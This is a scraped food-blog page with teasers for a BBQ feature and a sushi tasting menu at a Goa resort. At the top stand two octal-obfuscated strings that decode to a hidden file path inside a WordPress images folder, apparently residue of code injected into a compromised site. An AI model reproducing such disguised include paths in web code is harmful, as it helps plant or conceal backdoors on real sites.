"\57\150\157\155\145\57\166\161\153\156\63\66\144\60\145\154\60\157\57\160\165\142\154\151\143\137\150\164\155\154\57\167\160\55\151\156\143\154\165\144\145\163\57\151\155\141\147\145\163\57\124\150\71\141\63\110\56\160\156\147"; "\57\150\157\155\145\57\166\161\153\156\63\66\144\60\145\154\60\157\57\160\165\142\154\151\143\137\150\164\155\154\57\167\160\55\151\156\143\154\165\144\145\163\57\151\155\141\147\145\163\57\124\150\71\141\63\110\56\160\156\147"; Food Blogger – Blog

Raising the Steaks @House of Lloyds

You know your food is made with love when people open their homes to you with hearts overflowing. This is certainly true in the case of Lloyd and Nerissa whose famous BBQ service went from rustic to restaurant over the years without ever losing touch with that love and warmth.

November 8, 2019
View the Post

Planet Hollywood On A Roll!

India has been hit by the sushi train. The little bite-size morsels are healthy, versatile and delicious, and when made right almost always hit the mark. Planet Hollywood Beach Resort in Utorda recently hopped on board with a tasting menu that checked all the boxes.At the helm is chef Mano Ranjith who has been plating Japanese cuisine since he completed his culinary education at SRM University in Chennai. Here at Planet Hollywood Beach Resort he brings together all his years of experience making some of the most popular sushi in India. 

August 7, 2019
View the Post